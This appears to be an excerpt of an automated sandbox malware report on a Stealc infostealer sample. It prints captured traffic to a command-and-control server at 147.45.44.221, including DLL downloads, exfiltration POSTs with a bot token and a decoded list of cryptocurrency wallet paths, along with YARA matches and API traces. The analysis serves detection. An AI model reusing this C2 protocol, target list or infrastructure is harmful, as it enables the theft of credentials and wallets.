00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 21, 2024 08:47:31.836883068 CEST	97	OUT	GET /3538548809da56b2/vcruntime140.dll HTTP/1.1 Host: 147.45.44.221 Cache-Control: no-cache
Oct 21, 2024 08:47:32.089154005 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 08:49:08 GMT ETag: "13bf0-5e7ea271b0900" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 21, 2024 08:47:32.577593088 CEST	201	OUT	POST /28166bd28a5d19e6.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEHCGDBFCBAKECBKKEB Host: 147.45.44.221 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 21, 2024 08:47:32.834055901 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 08:47:32.906239033 CEST	467	OUT	POST /28166bd28a5d19e6.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDHJEBFBFHJECAKFCAA Host: 147.45.44.221 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 61 38 35 36 38 31 64 37 39 65 65 66 62 39 65 33 39 31 31 36 39 37 65 31 30 66 30 35 63 65 33 38 34 32 63 61 36 33 31 65 35 62 61 34 37 37 36 33 63 35 62 34 32 36 35 64 63 65 35 38 33 39 37 32 66 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 2d 2d 0d 0a Data Ascii: ------GHDHJEBFBFHJECAKFCAAContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------GHDHJEBFBFHJECAKFCAAContent-Disposition: form-data; name="message"wallets------GHDHJEBFBFHJECAKFCAA--
Oct 21, 2024 08:47:33.159900904 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:33 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 21, 2024 08:47:33.162631989 CEST	465	OUT	POST /28166bd28a5d19e6.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFCAKKKFBGDGCAKFCFH Host: 147.45.44.221 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 61 38 35 36 38 31 64 37 39 65 65 66 62 39 65 33 39 31 31 36 39 37 65 31 30 66 30 35 63 65 33 38 34 32 63 61 36 33 31 65 35 62 61 34 37 37 36 33 63 35 62 34 32 36 35 64 63 65 35 38 33 39 37 32 66 37 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 2d 2d 0d 0a Data Ascii: ------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="message"files------FBFCAKKKFBGDGCAKFCFH--
Oct 21, 2024 08:47:33.416014910 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 08:47:33.435915947 CEST	563	OUT	POST /28166bd28a5d19e6.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHI Host: 147.45.44.221 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 61 38 35 36 38 31 64 37 39 65 65 66 62 39 65 33 39 31 31 36 39 37 65 31 30 66 30 35 63 65 33 38 34 32 63 61 36 33 31 65 35 62 61 34 37 37 36 33 63 35 62 34 32 36 35 64 63 65 35 38 33 39 37 32 66 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="file"------KEHDBAEGIIIEBGCAAFHI--
Oct 21, 2024 08:47:33.690959930 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 08:47:33.791606903 CEST	203	OUT	POST /28166bd28a5d19e6.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHIDHIEGIIIECAKEBFB Host: 147.45.44.221 Content-Length: 131659 Connection: Keep-Alive Cache-Control: no-cache
Oct 21, 2024 08:47:34.664860010 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 08:47:34.711456060 CEST	472	OUT	POST /28166bd28a5d19e6.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECGIIIDAKJDHJKFHIEB Host: 147.45.44.221 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 61 38 35 36 38 31 64 37 39 65 65 66 62 39 65 33 39 31 31 36 39 37 65 31 30 66 30 35 63 65 33 38 34 32 63 61 36 33 31 65 35 62 61 34 37 37 36 33 63 35 62 34 32 36 35 64 63 65 35 38 33 39 37 32 66 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 2d 2d 0d 0a Data Ascii: ------JECGIIIDAKJDHJKFHIEBContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------JECGIIIDAKJDHJKFHIEBContent-Disposition: form-data; name="message"ybncbhylepme------JECGIIIDAKJDHJKFHIEB--
Oct 21, 2024 08:47:34.966022968 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 08:47:34.967072010 CEST	472	OUT	POST /28166bd28a5d19e6.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJEGDBGDBFIJKECBAKF Host: 147.45.44.221 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 61 38 35 36 38 31 64 37 39 65 65 66 62 39 65 33 39 31 31 36 39 37 65 31 30 66 30 35 63 65 33 38 34 32 63 61 36 33 31 65 35 62 61 34 37 37 36 33 63 35 62 34 32 36 35 64 63 65 35 38 33 39 37 32 66 37 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 2d 2d 0d 0a Data Ascii: ------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HIJEGDBGDBFIJKECBAKF--
Oct 21, 2024 08:47:38.847279072 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=77 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	02:46:59
Start date:	21/10/2024
Path:	C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe"
Imagebase:	0xe70000
File size:	15'184'384 bytes
MD5 hash:	217E6AFF108174A9A90022C19F8E5F8F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.1843071659.0000000002500000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1843071659.0000000002418000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1842034533.00000000021D6000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1843071659.000000000227A000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1843071659.00000000023CA000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.1843071659.0000000002466000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.1843071659.000000000232E000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:47:09
Start date:	21/10/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Imagebase:	0x710000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.2061952905.00000000029D7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4%
Total number of Nodes:	2000
Total number of Limit Nodes:	38

Executed Functions

Function 027545C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,027669FB), ref: 027545CC
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,027669FB), ref: 027545D7
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,027669FB), ref: 027545E2
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,027669FB), ref: 027545ED
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,027669FB), ref: 027545F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,027669FB), ref: 02754607
RtlAllocateHeap.NTDLL(00000000,?,0000000F), ref: 0275460E
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,027669FB), ref: 0275461C
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,027669FB), ref: 02754627
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,027669FB), ref: 02754632
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,027669FB), ref: 0275463D
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,027669FB), ref: 02754648
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,027669FB), ref: 0275465C
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,027669FB), ref: 02754667
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,027669FB), ref: 02754672
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,027669FB), ref: 0275467D
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,027669FB), ref: 02754688
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 027546B1
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 027546BC
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 027546C7
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 027546D2
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 027546DD
strlen.MSVCRT ref: 027546F0
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 02754718
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 02754723
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0275472E
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 02754739
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 02754744
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 02754754
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0275475F
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0275476A
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 02754775
lstrlen.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 02754780
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0275479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 027546D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 027546CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 02754734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 02754765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0275471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0275477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 027546C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 027546AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0275466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 02754729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0275473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 02754657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 02754713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 027545E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0275474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0275475A
